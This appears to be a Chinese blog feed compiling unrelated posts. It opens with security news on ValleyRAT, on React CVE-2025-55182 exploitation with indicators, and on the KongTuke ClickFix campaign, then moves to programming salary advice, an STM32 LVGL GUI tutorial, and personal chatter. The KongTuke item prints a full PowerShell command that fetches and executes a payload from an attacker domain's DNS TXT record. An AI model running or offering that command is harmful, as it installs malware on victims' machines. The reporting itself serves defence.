2026年2月

一款新型高级恶意软件攻击活动出现,威胁行为者将 ValleyRAT 远控后门伪装成热门即时通讯应用 LINE 的正规安装程序进行传播。
此次定向攻击主要针对中文用户群体,通过恶意伪造的可执行文件入侵用户系统,窃取各类敏感的登录凭证。
该恶意软件采用包含壳代码执行、合法系统二进制文件调用的复杂加载链,在规避安全检测的同时,于受害主机中建立稳固的驻留权限,实现对用户的长期监控。
伪造安装程序被运行后,会触发多阶段的感染流程,专门用于绕过终端安全防护机制。

程序会立即通过 PowerShell 命令修改 Windows Defender 配置,将整个系统盘符排除在病毒扫描范围之外,直接禁用该杀毒软件的核心防护功能。

与此同时,恶意软件会释放一个名为 intel.dll 的恶意库文件,该文件会执行严格的环境检测操作,通过文件锁定、互斥体创建等方式,判断自身是否运行在沙箱检测环境中。

若判定当前运行环境安全,恶意软件便会释放其核心恶意载荷,受害设备将被完全攻陷,成为攻击者可远程操控的节点。
赛博瑞森的安全分析师发现了此次攻击活动,并指出该恶意软件采用了高级的 PoolParty Variant 7 注入技术。
这项技术能让攻击者将恶意行为隐藏在可信的系统进程中,大幅提升安全检测的难度。
恶意软件通过滥用 Windows 输入 / 输出完成端口,向合法系统进程注入恶意代码,既能够实现隐秘运行,又能窃取用户登录凭证,同时与命令控制服务器保持持久化的通信连接。

高级注入与持久化驻留机制

该 ValleyRAT 变种恶意软件的技术复杂性,在其检测规避和持久化驻留策略上体现得尤为明显。

恶意软件会向资源管理器进程(Explorer.exe)和用户账户代理进程(UserAccountBroker.exe)注入代码,并将后者作为监控守护进程,确保所有恶意组件始终处于活跃状态。

此次代码注入通过 ZwSetIoCompletion 等特定的 Windows 应用程序接口操纵系统句柄实现,让威胁行为者能够在可信进程的内存空间中执行恶意代码。

此外,恶意软件会主动扫描奇虎 360 等安全厂商的防护产品,并终止其网络连接,让本地安全防御体系彻底失效。

为实现持久化驻留,恶意软件通过远程过程调用协议创建计划任务,确保用户每次登录系统时,该恶意程序都会自动运行。
该恶意软件还使用了颁发给 “成都摩的蜂鸟网络科技有限公司” 的数字证书,以此伪装成正规程序,但其签名在密码学层面存在无效问题。
为防范此类感染,用户务必仅从官方渠道下载软件安装程序。
安全团队应配置相应检测规则,对无效数字证书进行告警;同时监控资源管理器进程(Explorer.exe)、用户账户代理进程(UserAccountBroker.exe)衍生的可疑子进程,此类异常现象往往预示着潜在的进程中空攻击行为。

CVE-2025-55182 漏洞披露两个月后,针对 React 服务端组件的攻击行为已从大范围扫描,演变为协同化、高流量的规模化攻击活动
据格雷诺伊斯(GreyNoise)2026 年 1 月 26 日至 2 月 2 日的监测数据显示,威胁行为者正积极利用这一高危漏洞部署加密挖矿程序,并建立持久化远程访问权限
尽管尝试发起漏洞利用的独立攻击源达 1083 个,但攻击流量高度集中。两个特定 IP 地址发起的恶意会话占所有监测数据的 56%,这一特征表明攻击来自自动化的大型攻击基础设施,而非人工测试行为。

威胁态势与主要攻击方

已监测到的攻击均使用针对 CVE-2025-55182 漏洞的公开 Metasploit 模块,攻击者可通过单个恶意 HTTP POST 请求,在未完成身份验证的情况下实现远程代码执行(RCE)。主要威胁行为者的攻击目标呈现明显分化:
  • 加密挖矿攻击团伙(87.121.84 [.] 24):发起的攻击流量占比 22%,涉及 311484 次恶意会话。该团伙会执行检索脚本,从跳板服务器下载门罗币挖矿程序(XMRig)的二进制文件,其攻击依赖外部基础设施托管恶意载荷。
  • 交互式访问攻击团伙(193.142.147 [.] 209):发起的攻击流量占比 34%,涉及 488342 次恶意会话。该团伙完全绕过跳板服务器,通过恶意载荷直接向扫描源 IP 的 12323 端口开启反向 Shell,其攻击意图并非自动化窃取资源,而是实现交互式的网络横向渗透
对该加密挖矿攻击基础设施的深度分析发现,其存在长期恶意活动记录。核心跳板服务器 205.185.127 [.] 97 自 2020 年起,就一直托管着 mased [.] top、mercarios [.] buzz 等受攻击者控制的域名。
此外,该服务器同一子网内的相邻 IP(87.121.84 [.] 25、87.121.84 [.] 45)目前仍在传播 Mirai 和 Gafgyt 僵尸网络变种,可见该子网已成僵尸网络运营者的聚集地,其攻击目标同时涵盖企业服务器与民用物联网设备。

漏洞详细信息

CVE-2025-55182 是 React 服务端组件中存在的反序列化漏洞,其通用漏洞评分系统(CVSS)评分为10.0 分,属于最高级别的高危漏洞。未授权攻击者可通过操纵服务器处理的序列化数据,实现任意代码执行
漏洞编号:CVE-2025-55182
通用漏洞评分:10.0(高危)
受影响软件:React 服务端组件
漏洞类型:不安全的反序列化
受影响版本
  • React 19.0.0
  • React 19.1.0 至 19.1.1
  • React 19.2.0
已修复版本
  • React 19.0.1、19.1.2、19.2.1
攻击者将攻击目标精准指向开发端口,推测其意在寻找配置不当的服务实例 —— 开发人员若使用--host 0.0.0.0启动参数,会导致服务器意外暴露至公网。被攻击最多的端口包括 443、80、3000、3001 和 3002。
安全团队被敦促立即将 React 组件升级至最新修复版本。若暂时无法完成补丁部署,需严格限制开发端口的网络访问权限,并阻断下述攻击特征指标。

入侵特征指标(IOCs)

网络指标(IPv4 地址)

IP 地址 193.142.147[.]209  类型是攻击源 IP 关联攻击行为 反向 Shell / 交互式远程访问
IP 地址 87.121.84[.]24 类型是攻击源 IP 关联攻击行为  门罗币挖矿程序投放
IP 地址 205.185.127[.]97 类型是跳板服务器  关联攻击行为  恶意载荷托管
IP 地址176.65.132[.]224 类型是跳板服务器  关联攻击行为  恶意载荷托管

网络攻击特征

  • 反向 Shell 端口:TCP/12323
  • 流量特征:包含异常 Next-Action 请求头的 HTTP POST 请求

文件哈希值(SHA-256)

[哈希值待进一步分析]—— 从 205.185.127 [.] 97 获取的门罗币挖矿程序(XMRig)二进制文件(ELF 格式)。


“ClickFix” 社会工程学攻击活动迎来全新变种,该变种被命名为KongTuke。自 2025 年 12 月底起,这一变种被发现处于活跃传播状态,其显著特征是利用DNS TXT 记录存储并获取恶意载荷,成为该类攻击在规避检测手段上的一次重要转变。

“ClickFix” 攻击手法的典型操作,是攻陷正规网站或搭建虚假钓鱼页面,在页面中弹出带有欺骗性的 “人机验证” 或 “Chrome 浏览器更新” 弹窗。

与索要账户凭据的传统钓鱼攻击不同,ClickFix 会诱骗用户手动执行恶意程序

该攻击的实施流程,是引导用户执行一系列特定操作,以 “修复问题” 或 “证明非机器人”:
  1. 按下 Windows 键 + R,打开运行对话框;
  2. 按下 Ctrl+V,将命令粘贴至输入框;
  3. 按下回车键执行命令。
当用户在网页上与虚假弹窗产生交互时,恶意命令会通过 JavaScript 脚本自动注入到用户的剪贴板中。

KongTuke 的 DNS 技术新手段

在 KongTuke 攻击活动中,剪贴板中的内容为一段 PowerShell 命令,其设计目的是从 DNS 记录中获取恶意代码,而非传统的从网页服务器加载。

近期的分析结果显示,被注入的命令遵循如下结构:

plaintext
powershell -w h -ep bypass -c "iex((Resolve-DnsName -Type TXT payload.bruemald.top -Server 8.8.8.8).Strings -join'')"
这段命令包含多项关键执行功能:
  • -w h:隐藏 PowerShell 窗口,避免引起用户警觉;
  • -ep bypass:绕过本地执行策略,允许恶意脚本运行;
  • Resolve-DnsName:这是本次攻击的核心创新点。脚本不再通过 Invoke-WebRequest(wget/curl)从网址下载文件,而是查询受攻击者控制的域名(如 payload.bruemald.top)的 TXT 记录;
  • -Server 8.8.8.8:强制通过谷歌公共 DNS 进行查询,绕过企业本地 DNS 的过滤机制或域名拦截策略,避免恶意域名在网络层面被阻断;
  • iex:立即执行(Invoke-Expression)从 DNS TXT 记录中获取的文本字符串。
而虚假的人机验证弹窗,会引导用户将这段恶意 PowerShell 命令粘贴到 Windows 运行对话框中执行。

规避检测方式与攻击影响

攻击者将恶意载荷存储在 DNS TXT 记录中,避免了将恶意文件部署在网页服务器上,从而躲过 URL 过滤器或防火墙的扫描检测。

对于网络安全监控系统而言,这类操作产生的流量表现为向公共 DNS 解析器(8.8.8.8)发起的标准 DNS 查询,而这类请求在企业网络环境中通常是被允许的。

源码分析结果显示了被注入用户剪贴板的恶意 PowerShell 脚本的具体内容,该脚本执行后,会进一步获取第二阶段恶意载荷,这类载荷通常为信息窃取程序,或用于下载其他家族恶意软件的下载器。
承载这类 ClickFix 钓鱼页面的被攻陷域名(如已发现的emierich.com),往往能在被检测到前保持数天的活跃状态,原因在于其恶意内容仅会向特定访问者进行动态注入
安全机构建议各企业:密切监控异常的 PowerShell 执行链,尤其是同时调用Resolve-DnsNameiex的操作行为;同时开展用户安全培训,明确告知用户 —— 正规的验证流程绝不会要求通过 Windows 运行对话框执行任何命令。

2026年技术迭代加速,对程序员而言,选对深耕的编程语言,直接关系到职业发展和薪资提升。本文整理了当下最具竞争力的五大编程语言(不分排名),聚焦核心应用场景和薪资表现,帮大家理清2026年学习和职业方向。

编程语言无优劣,关键在于适配场景。这五种语言覆盖前端、后端、AI、游戏等主流赛道,也是2026年企业招聘需求最旺、薪资竞争力最强的门类。

C

C#.NET框架 核心语言,兼容性和功能性逐年升级,广泛应用于Windows应用、企业级系统、AR/VR及游戏研发。依托Unity引擎,它是VR/AR游戏开发的主流选择,Skype、Visual Studio等产品均基于其构建。

薪资参考(年薪,入门级1年以内,有经验2-3年):

  • 中国:入门8-12万,有经验15-25万,游戏开发方向偏高,大厂可破30万;
  • 美国:入门8-10万美元,有经验14-16万美元,企业级开发方向更突出。

Java

Java 凭借稳定性、跨平台性和可扩展性,长期占据大型企业系统、金融科技、安卓开发核心地位,“一次编写,到处运行”的特性适配多系统,是银行、证券等机构核心交易系统的首选。

薪资参考:

  • 中国:入门7-11万,有经验18-28万,金融科技方向25-35万;
  • 美国:入门9万美元,有经验15-18万美元,金融与企业架构方向领先。

JavaScript

作为全球使用最广泛的语言,JavaScript 可覆盖前端交互、Node.js 后端服务、React Native 原生应用开发,真正实现“一门语言走天下”,是全栈开发的核心入门技能。

薪资参考(受框架熟练度影响较大):

  • 中国:入门7-10万,掌握React/Node.js者18-25万,资深全栈可破30万;
  • 美国:入门9.5万美元,有经验16-18万美元,热门框架掌握者薪资更高。

Python

Python 简洁易上手、扩展性强,在人工智能、数据科学、自动化开发领域占据主导地位,学习成本低,是零基础入门或转型AI、数据方向的最优选择,2026年需求持续爆发。

薪资参考(差异集中在应用方向):

  • 中国:入门7-10万,数据/AI方向20-35万,资深算法工程师可破50万;
  • 美国:入门10万美元,有经验16-20万美元,机器学习方向领先。

TypeScript

TypeScriptJavaScript 的强类型超集,解决了JS大型项目中类型模糊、维护困难的痛点,如今已成为大型前端应用、全栈开发的标配,也是大厂前端团队的必备技能。

薪资参考:

  • 中国:入门8-12万,有经验18-28万,大厂全栈方向30-40万;
  • 美国:入门10万美元,有经验17-20万美元,大型框架项目开发者薪资更高

总结

五种语言覆盖主流赛道,核心看职业规划:企业级/游戏开发选C#、Java,就业稳定;全栈/前端进阶选JavaScript、TypeScript,潜力巨大;AI/数据方向选Python,薪资上限高。

对程序员来说,2026年的核心竞争力,不在于掌握多门语言,而在于深耕一门、补齐相关技能。比如深耕Python搭配机器学习框架,深耕JS搭配TypeScript,才能保持竞争力,实现职业和薪资双突破。

不认同这份名单没关系!你心中 2026年 的顶级编程语言是什么?快来评论区唠唠

本文由mdnice多平台发布

大家好,我是良许。

在嵌入式开发中,特别是 STM32 项目里,我们经常需要为设备添加人机交互界面。

无论是工业控制设备的操作面板,还是智能家居的触摸屏,GUI(图形用户界面)的设计都是绕不开的话题。

今天我就结合自己多年的嵌入式开发经验,和大家聊聊 STM32 上如何设计界面、做 GUI 开发。

1. STM32 GUI 开发的硬件基础

在开始 GUI 开发之前,我们需要先了解硬件配置。

STM32 做 GUI 开发,核心硬件就是显示屏。

1.1 常见的显示屏类型

在 STM32 项目中,我们常用的显示屏主要有这几种:

OLED 屏幕:功耗低,对比度高,常见的有 0.96 寸、1.3 寸等小尺寸屏幕,分辨率一般是 128x64 或 128x128。

这种屏幕适合做一些简单的信息显示,比如智能手表、便携设备等。

它通过 I2C 或 SPI 接口与 STM32 通信,驱动相对简单。

TFT LCD 屏幕:色彩丰富,尺寸选择多,从 2.4 寸到 7 寸都有,分辨率从 240x320 到 800x480 不等。

这是做彩色 GUI 的主流选择,适合需要复杂界面的应用场景。

常见的驱动芯片有 ILI9341、ST7789 等,通过 SPI 或并口(8080、RGB 接口)与 STM32 连接。

电容触摸屏:很多 TFT LCD 会配备电容触摸功能,触摸芯片常见的有 FT6236、GT911 等,通过 I2C 接口读取触摸坐标。

有了触摸功能,用户交互体验会提升很多。

1.2 STM32 芯片的选择

做 GUI 开发,STM32 的选型很重要。

如果只是显示一些简单的文字和图标,STM32F103 这样的入门级芯片就够用了。

但如果要做复杂的彩色界面,特别是带动画效果的,建议选择性能更强的芯片:

STM32F4 系列:主频可达 180MHz,带 FPU(浮点运算单元),SRAM 充足,非常适合 GUI 开发。

F429 还集成了 LCD-TFT 控制器和色度控制器(Chrom-ART),可以硬件加速图形操作。

STM32F7 系列:主频达到 216MHz,性能更强,同样带有 LCD-TFT 控制器。

STM32H7 系列:这是目前 STM32 的高性能系列,主频达到 480MHz 甚至 550MHz,带有双核,内存也更大,适合做高端 GUI 应用。

选择芯片时,除了看主频,还要关注 SRAM 和 Flash 的大小。

GUI 开发很吃内存,特别是显示图片时,一张 240x320 的 16 位色图片就需要 150KB 的显存空间。

2. STM32 GUI 开发的软件方案

硬件准备好后,接下来就是软件开发了。

STM32 上做 GUI,有多种方案可选。

2.1 自己写底层驱动

对于简单的应用,我们可以自己编写显示驱动和 GUI 代码。

这种方式最灵活,代码量可控,适合资源受限的场景。

以 OLED 屏幕为例,我们需要先初始化 I2C 或 SPI 接口,然后编写 OLED 的初始化序列和基本绘图函数:

// OLED初始化(以SSD1306为例)
void OLED_Init(void)
{
    HAL_Delay(100);
    
    OLED_WriteCmd(0xAE); // 关闭显示
    OLED_WriteCmd(0x20); // 设置内存地址模式
    OLED_WriteCmd(0x10); // 水平地址模式
    OLED_WriteCmd(0xB0); // 设置页地址
    OLED_WriteCmd(0xC8); // 设置COM扫描方向
    OLED_WriteCmd(0x00); // 设置低列地址
    OLED_WriteCmd(0x10); // 设置高列地址
    OLED_WriteCmd(0x40); // 设置起始行地址
    OLED_WriteCmd(0x81); // 设置对比度
    OLED_WriteCmd(0xFF);
    OLED_WriteCmd(0xA1); // 设置段重映射
    OLED_WriteCmd(0xA6); // 正常显示
    OLED_WriteCmd(0xA8); // 设置多路复用比
    OLED_WriteCmd(0x3F);
    OLED_WriteCmd(0xA4); // 全局显示开启
    OLED_WriteCmd(0xD3); // 设置显示偏移
    OLED_WriteCmd(0x00);
    OLED_WriteCmd(0xD5); // 设置时钟分频
    OLED_WriteCmd(0xF0);
    OLED_WriteCmd(0xD9); // 设置预充电周期
    OLED_WriteCmd(0x22);
    OLED_WriteCmd(0xDA); // 设置COM引脚配置
    OLED_WriteCmd(0x12);
    OLED_WriteCmd(0xDB); // 设置VCOMH电压倍率
    OLED_WriteCmd(0x20);
    OLED_WriteCmd(0x8D); // 使能充电泵
    OLED_WriteCmd(0x14);
    OLED_WriteCmd(0xAF); // 开启显示
    
    OLED_Clear();
}
​
// 画点函数
void OLED_DrawPoint(uint8_t x, uint8_t y, uint8_t color)
{
    uint8_t page = y / 8;
    uint8_t bit = y % 8;
    
    if(color)
        OLED_GRAM[page][x] |= (1 << bit);
    else
        OLED_GRAM[page][x] &= ~(1 << bit);
}
​
// 显示字符
void OLED_ShowChar(uint8_t x, uint8_t y, char chr)
{
    uint8_t i;
    chr = chr - ' '; // 得到偏移后的值
    
    for(i = 0; i < 8; i++)
    {
        OLED_GRAM[y][x + i] = ASCII_8x16[chr * 16 + i];
    }
    for(i = 0; i < 8; i++)
    {
        OLED_GRAM[y + 1][x + i] = ASCII_8x16[chr * 16 + i + 8];
    }
}

对于 TFT LCD 屏幕,驱动会更复杂一些,但原理类似。

我们需要实现画点、画线、画矩形、显示字符、显示图片等基本功能。

这些函数构成了 GUI 的基础。

2.2 使用开源 GUI 库

如果项目需要更复杂的界面效果,自己从零写 GUI 会非常耗时。

这时候使用开源 GUI 库是更好的选择。

LVGL(Light and Versatile Graphics Library):这是目前最流行的嵌入式 GUI 库之一,完全开源免费,功能强大,支持各种控件(按钮、滑块、图表等),还支持动画效果。

LVGL 的优点是资源占用相对较小,文档完善,社区活跃。

很多 STM32 项目都在用 LVGL。

使用 LVGL 的基本流程是这样的:

// 1. 初始化LVGL
lv_init();
​
// 2. 初始化显示驱动
static lv_disp_draw_buf_t draw_buf;
static lv_color_t buf1[DISP_HOR_RES * 10];
lv_disp_draw_buf_init(&draw_buf, buf1, NULL, DISP_HOR_RES * 10);
​
static lv_disp_drv_t disp_drv;
lv_disp_drv_init(&disp_drv);
disp_drv.draw_buf = &draw_buf;
disp_drv.flush_cb = disp_flush; // 显示刷新回调函数
disp_drv.hor_res = DISP_HOR_RES;
disp_drv.ver_res = DISP_VER_RES;
lv_disp_drv_register(&disp_drv);
​
// 3. 初始化输入设备(触摸屏)
static lv_indev_drv_t indev_drv;
lv_indev_drv_init(&indev_drv);
indev_drv.type = LV_INDEV_TYPE_POINTER;
indev_drv.read_cb = touchpad_read; // 触摸读取回调函数
lv_indev_drv_register(&indev_drv);
​
// 4. 创建界面元素
lv_obj_t *btn = lv_btn_create(lv_scr_act());
lv_obj_set_size(btn, 120, 50);
lv_obj_align(btn, LV_ALIGN_CENTER, 0, 0);
​
lv_obj_t *label = lv_label_create(btn);
lv_label_set_text(label, "Click me!");
lv_obj_center(label);
​
// 5. 主循环中调用
while(1)
{
    lv_timer_handler();
    HAL_Delay(5);
}

LVGL 需要我们实现两个关键的回调函数:显示刷新函数和触摸读取函数。

显示刷新函数负责把 LVGL 的显存数据传输到 LCD 屏幕上,触摸读取函数负责读取触摸坐标并返回给 LVGL。

// 显示刷新回调函数
void disp_flush(lv_disp_drv_t *disp_drv, const lv_area_t *area, lv_color_t *color_p)
{
    int32_t x, y;
    
    // 设置显示窗口
    LCD_SetWindow(area->x1, area->y1, area->x2, area->y2);
    
    // 写入像素数据
    for(y = area->y1; y <= area->y2; y++)
    {
        for(x = area->x1; x <= area->x2; x++)
        {
            LCD_WriteData(color_p->full);
            color_p++;
        }
    }
    
    // 通知LVGL刷新完成
    lv_disp_flush_ready(disp_drv);
}
​
// 触摸读取回调函数
void touchpad_read(lv_indev_drv_t *indev_drv, lv_indev_data_t *data)
{
    static int16_t last_x = 0;
    static int16_t last_y = 0;
    
    if(Touch_Scan())
    {
        data->state = LV_INDEV_STATE_PRESSED;
        data->point.x = Touch_GetX();
        data->point.y = Touch_GetY();
        last_x = data->point.x;
        last_y = data->point.y;
    }
    else
    {
        data->state = LV_INDEV_STATE_RELEASED;
        data->point.x = last_x;
        data->point.y = last_y;
    }
}

emWin(现在叫 SEGGER emWin):这是 SEGGER 公司开发的商业 GUI 库,功能非常强大,性能优秀,支持各种高级特性。

ST 官方的 TouchGFX 就是基于 emWin 开发的。

emWin 的缺点是商业授权需要付费,但对于个人学习和非商业项目,可以使用免费版本。

uGUI:这是一个非常轻量级的 GUI 库,代码量很小,适合资源非常受限的场景。

它的功能相对简单,但对于一些基本的界面需求已经足够了。

TouchGFX:这是 ST 官方推出的 GUI 开发工具,专门为 STM32 优化,可以充分利用 STM32 的硬件加速功能。

TouchGFX 提供了图形化的界面设计工具,可以像做网页一样拖拽控件来设计界面,然后自动生成代码。

对于不想写太多 GUI 代码的开发者来说,这是个不错的选择。

2.3 使用 STM32CubeMX 配合 TouchGFX

如果你的项目使用 STM32F4、F7 或 H7 系列芯片,强烈推荐使用 STM32CubeMX 配合 TouchGFX 来开发 GUI。

这套工具链非常成熟,开发效率很高。

具体流程是这样的:

第一步,在 STM32CubeMX 中配置芯片的时钟、外设等基本参数,然后在 Additional Software 中选择 TouchGFX。

第二步,配置 LCD 接口。

如果使用的是带 LCD-TFT 控制器的芯片(如 F429、F746),可以直接配置 LTDC 外设。

如果使用 SPI 接口的 LCD,需要配置 SPI 和 DMA。

第三步,生成代码后,在 TouchGFX Designer 中设计界面。

TouchGFX Designer 是一个可视化的界面设计工具,你可以在里面拖拽各种控件,设置控件的属性、位置、动画效果等。

设计完成后,TouchGFX 会自动生成对应的 C++ 代码。

第四步,在生成的代码中添加业务逻辑。

比如按钮点击事件的处理、数据的更新显示等。

这种方式的优点是开发效率高,界面效果好,而且可以充分利用 STM32 的硬件加速功能。

缺点是生成的代码比较复杂,调试起来不如自己写的代码直观。

3. GUI 开发的关键技术点

无论使用哪种方案,GUI 开发都有一些共同的技术点需要掌握。

3.1 显存管理

GUI 开发最大的挑战之一就是内存管理。

一个彩色显示屏的显存占用是很大的。

比如一个 320x240 的 16 位色屏幕,完整的显存需要 320 * 240* 2 = 153600 字节,也就是 150KB。

而 STM32F103 的 SRAM 只有 20KB,根本放不下。

解决方案有几种:

使用外部 SRAM 或 SDRAM:对于高端的 STM32 芯片(如 F429、F746),可以外挂 SRAM 或 SDRAM 来扩展内存。

这样就可以有足够的空间存放显存了。

使用双缓冲或局部刷新:如果内存不够,可以只分配一部分内存作为缓冲区,每次只刷新屏幕的一部分。

LVGL 就是采用这种方式,它可以配置缓冲区大小,比如只用屏幕十分之一的内存作为缓冲。

直接写屏:对于简单的应用,可以不使用显存,直接把数据写到 LCD。

这种方式的缺点是刷新速度慢,而且容易出现闪烁。

3.2 刷新优化

GUI 的流畅度很大程度上取决于刷新速度。

优化刷新有几个技巧:

使用 DMA 传输:在向 LCD 传输数据时,使用 DMA 可以大大提高传输速度,而且不占用 CPU 时间。

HAL 库提供了 DMA 的接口,使用起来很方便。

// 使用DMA传输数据到LCD
HAL_SPI_Transmit_DMA(&hspi1, (uint8_t*)color_buffer, buffer_size);

局部刷新:不要每次都刷新整个屏幕,只刷新变化的区域。

LVGL 等 GUI 库都支持局部刷新,可以大大减少数据传输量。

使用硬件加速:如果使用的是 F429、F746 等带有 Chrom-ART 加速器的芯片,可以利用硬件加速来进行图形操作,比如矩形填充、图像拷贝等。

这比 CPU 软件实现快很多。

3.3 字体显示

中文字体是 GUI 开发的一个难点。

一个完整的中文字库(GB2312)包含 6763 个汉字,如果使用 16x16 点阵,需要 6763*32 = 216416 字节,也就是 200 多 KB。

这对于 Flash 容量有限的 STM32 来说是个不小的负担。

解决方案有几种:

使用外部 Flash 存储字库:可以把字库存储在外部 SPI Flash 中,需要显示时再读取。

这样不占用芯片内部 Flash。

只包含常用汉字:如果界面上的文字是固定的,可以只提取需要用到的汉字,生成一个小字库。

这样可以大大减少字库大小。

使用矢量字体:LVGL 支持 FreeType 字体,可以使用 TTF 字体文件。

矢量字体的优点是可以任意缩放,而且文件相对较小。

缺点是渲染速度慢,需要较强的 CPU 性能。

3.4 触摸处理

如果使用触摸屏,触摸处理也是一个重要环节。

触摸芯片一般通过 I2C 接口与 STM32 通信,我们需要定期读取触摸坐标。

// 读取触摸坐标(以FT6236为例)
uint8_t Touch_Scan(void)
{
    uint8_t buf[4];
    uint8_t touch_num;
    
    // 读取触摸点数量
    HAL_I2C_Mem_Read(&hi2c1, FT6236_ADDR, 0x02, I2C_MEMADD_SIZE_8BIT, &touch_num, 1, 100);
    
    if(touch_num > 0)
    {
        // 读取第一个触摸点的坐标
        HAL_I2C_Mem_Read(&hi2c1, FT6236_ADDR, 0x03, I2C_MEMADD_SIZE_8BIT, buf, 4, 100);
        
        touch_x = ((buf[0] & 0x0F) << 8) | buf[1];
        touch_y = ((buf[2] & 0x0F) << 8) | buf[3];
        
        return 1;
    }
    
    return 0;
}

触摸处理还需要考虑去抖动、多点触摸、手势识别等问题。

LVGL 等 GUI 库已经内置了这些功能,我们只需要提供原始的触摸坐标即可。

4. 实战案例:制作一个简单的温度显示界面

最后,我们来做一个实战案例,制作一个简单的温度显示界面。

假设我们使用 STM32F103 配合一个 2.4 寸的 TFT LCD(ILI9341 驱动芯片),通过 SPI 接口连接。

界面上显示当前温度值,以及一个温度曲线图。

首先,我们需要初始化 LCD 和 LVGL:

int main(void)
{
    HAL_Init();
    SystemClock_Config();
    
    // 初始化外设
    MX_GPIO_Init();
    MX_SPI1_Init();
    MX_TIM2_Init();
    
    // 初始化LCD
    LCD_Init();
    
    // 初始化LVGL
    lv_init();
    
    // 配置显示驱动
    static lv_disp_draw_buf_t draw_buf;
    static lv_color_t buf1[240 * 10];
    lv_disp_draw_buf_init(&draw_buf, buf1, NULL, 240 * 10);
    
    static lv_disp_drv_t disp_drv;
    lv_disp_drv_init(&disp_drv);
    disp_drv.draw_buf = &draw_buf;
    disp_drv.flush_cb = disp_flush;
    disp_drv.hor_res = 240;
    disp_drv.ver_res = 320;
    lv_disp_drv_register(&disp_drv);
    
    // 创建界面
    create_ui();
    
    // 启动定时器,定期更新温度
    HAL_TIM_Base_Start_IT(&htim2);
    
    while(1)
    {
        lv_timer_handler();
        HAL_Delay(5);
    }
}

然后创建界面元素:

lv_obj_t *temp_label;
lv_obj_t *chart;
lv_chart_series_t *ser;
​
void create_ui(void)
{
    // 创建温度显示标签
    temp_label = lv_label_create(lv_scr_act());
    lv_label_set_text(temp_label, "Temperature: --°C");
    lv_obj_set_style_text_font(temp_label, &lv_font_montserrat_24, 0);
    lv_obj_align(temp_label, LV_ALIGN_TOP_MID, 0, 20);
    
    // 创建图表
    chart = lv_chart_create(lv_scr_act());
    lv_obj_set_size(chart, 220, 150);
    lv_obj_align(chart, LV_ALIGN_BOTTOM_MID, 0, -20);
    lv_chart_set_type(chart, LV_CHART_TYPE_LINE);
    lv_chart_set_range(chart, LV_CHART_AXIS_PRIMARY_Y, 0, 50);
    lv_chart_set_point_count(chart, 20);
    
    // 添加数据系列
    ser = lv_chart_add_series(chart, lv_palette_main(LV_PALETTE_RED), LV_CHART_AXIS_PRIMARY_Y);
}

最后,在定时器中断中更新温度数据:

void HAL_TIM_PeriodElapsedCallback(TIM_HandleTypeDef *htim)
{
    if(htim->Instance == TIM2)
    {
        // 读取温度传感器(这里用随机数模拟)
        float temperature = 20.0 + (rand() % 100) / 10.0;
        
        // 更新标签
        char buf[32];
        sprintf(buf, "Temperature: %.1f°C", temperature);
        lv_label_set_text(temp_label, buf);
        
        // 更新图表
        lv_chart_set_next_value(chart, ser, (int32_t)temperature);
    }
}

这个案例展示了 GUI 开发的基本流程:初始化硬件和 GUI 库,创建界面元素,然后在主循环或中断中更新数据。

虽然代码不多,但已经实现了一个功能完整的温度监控界面。

5. 总结与建议

STM32 的 GUI 开发是一个系统工程,涉及硬件选型、软件架构、性能优化等多个方面。

对于初学者,我的建议是:

第一,从简单的开始。

先用 OLED 屏幕或小尺寸的 TFT LCD 练手,熟悉基本的显示原理和驱动方法。

不要一上来就想做复杂的界面。

第二,善用开源库。

LVGL 这样的开源 GUI 库已经非常成熟,功能强大,没必要什么都自己写。

把精力放在业务逻辑和用户体验上,而不是重复造轮子。

第三,注意性能优化。

GUI 开发很容易遇到性能瓶颈,要学会使用 DMA、硬件加速等技术,合理管理内存,优化刷新逻辑。

第四,多看示例代码。

无论是官方的例程,还是开源项目,都是很好的学习资源。

看懂别人的代码,理解设计思路,比自己摸索要快得多。

GUI 开发是嵌入式开发中很有意思的一个方向,做出一个漂亮流畅的界面,成就感是很强的。

希望这篇文章能帮助你入门 STM32 的 GUI 开发,在实际项目中做出优秀的人机交互界面。

更多编程学习资源

最近发现身边很多同事点外卖,标准几乎只有一个:
15 元以内,越便宜越好。

但说实话,这个价位的外卖,很多都是小作坊,
甚至有些店 连堂食都没有
食品安全什么情况,其实大家心里都有数。

这让我想到老一辈的“剩菜剩饭”观念——
不是因为好吃,而是舍不得扔、舍不得花钱
长期下来,反而把身体搭进去了。

我个人觉得,外卖 20 元左右 才是一个相对合理的区间。
多花这 5 块钱
至少在食材、卫生、环境上,概率会好一点

简单算一笔账:

  • 每顿省 5 块
  • 中饭 + 晚饭 = 一天省 10 块
  • 一个月也就 300 块

为了这 300 块,
长期吃来源不明、卫生堪忧的外卖,
是不是有点 丢西瓜捡芝麻 了?

当然,也不是说所有便宜外卖都不能吃,
而是想讨论一个问题:
在健康这件事上, 过度追求“最低价”,真的值得吗?

马上放假无心上班,Vibe Coding 了一个赛博春联,纯娱乐

使用

<script>
  window.cyberCoupletConfig = {
    leftText: "上联写在这里",
    rightText: "下联写在这里",
    topText: "横批"
  };
</script>
<script src="https://cdn.jsdelivr.net/gh/dongfg/cyber-couplet@master/couplet.js"></script>

源码在这里 直接复制修改也行

预览

cyber-couplet

我们在使用无界微前端时候,有时候发现,子应用多次进入后样式会丢失。那么我们就可以通过如下方式解决:

/* 适配vite 4,5的版本子应用样式异常丢失的问题*/
// 解决二次进入样式丢失插件.
export const plugins = [
  {
    patchElementHook(element: any, iframeWindow: any) {
      if (element.nodeName === "STYLE") {
        element.insertAdjacentElement = function (_position, ele) {
          iframeWindow.document.head.appendChild(ele);
        };
      }
    }
  }
]

我的plugins是这样的

但生产环境有效,开发环境可能无效。
不保活模式 多次切换子应用 开发环境就会样式丢失 无界无法收集开发环境vite vue文件里面的样式。
生产环境就没有问题 打包后 都在 STYLE标签里面
高版本无界 不要插件了
作者 已经把这个插件 集成进去了

说美女其实也有点过头,颜值正常水平,肯定不能和擦边主播比。但是点开头像一看粉丝数,好几个 UP ,Iwona Blecharczyk ,Zeliha Akpinar ,Girl Truck Routine 动不动上百万,差一点的几十万更是随随便便

看看几个科技区码农 Up ,虽然搬砖水平肯定高,但粉丝数没得比啊

本来还想是不是也去搞个油管玩下,也不知道拍点啥有人看。反而是被女卡车司机给开眼了,有的 Up 主甚至一句话都不说,就车上架个摄像,拍啥看啥

瞎叨叨

24 年看房子,斜塘的还够不上,一直在看尹山湖和吴中城南,25 年初价格下来了让中介带着看了下,奥体路劲等户型一般,买了尊域雅苑二手( 17 年建成),住进来一个月谈谈感受。

